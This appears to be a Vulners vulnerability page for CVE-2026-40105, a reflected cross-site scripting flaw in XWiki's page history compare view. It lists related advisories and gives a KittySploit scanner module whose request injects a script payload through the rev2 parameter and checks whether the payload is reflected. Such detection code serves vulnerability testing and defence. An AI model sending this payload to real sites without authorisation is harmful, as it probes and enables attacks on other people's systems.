XWiki - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-40105 | 15 Apr 202600:07 | – | attackerkb | |
| XWiki Platform Security Issue | 20 Apr 202600:00 | – | bdu_fstec | |
| CVE-2026-40105 | 15 Apr 202604:13 | – | circl | |
| XWiki Platform 安全漏洞 | 15 Apr 202600:00 | – | cnnvd | |
| CVE-2026-40105 | 15 Apr 202600:07 | – | cve | |
| CVE-2026-40105 XWiki has Reflected Cross-Site Scripting (XSS) in its page history compare functionality | 15 Apr 202600:07 | – | cvelist | |
| EUVD-2026-22819 | 15 Apr 202600:07 | – | euvd | |
| XWiki has Reflected Cross-Site Scripting (XSS) in page history compare | 14 Apr 202622:33 | – | github | |
| CVE-2026-40105 | 15 Apr 202600:07 | – | mend | |
| XWiki - Cross-Site Scripting | 16 Oct 202602:05 | – | nuclei |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'XWiki - Cross-Site Scripting Detection',
'description': 'XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'xwiki', 'xss'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w4fj-87j5-f25c',
'https://nvd.nist.gov/vuln/detail/CVE-2026-40105',
'https://jira.xwiki.org/browse/XWIKI-22481',
],
'cve': 'CVE-2026-40105',
}
def run(self):
r = self.http_request(method="GET", path='/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('<script>alert(document.domain)</script>', '<h1>Changes for page', 'From version',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="XWiki - Cross-Site Scripting detected",
path='/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
CVSS 46.5
EPSS0.00782
SSVC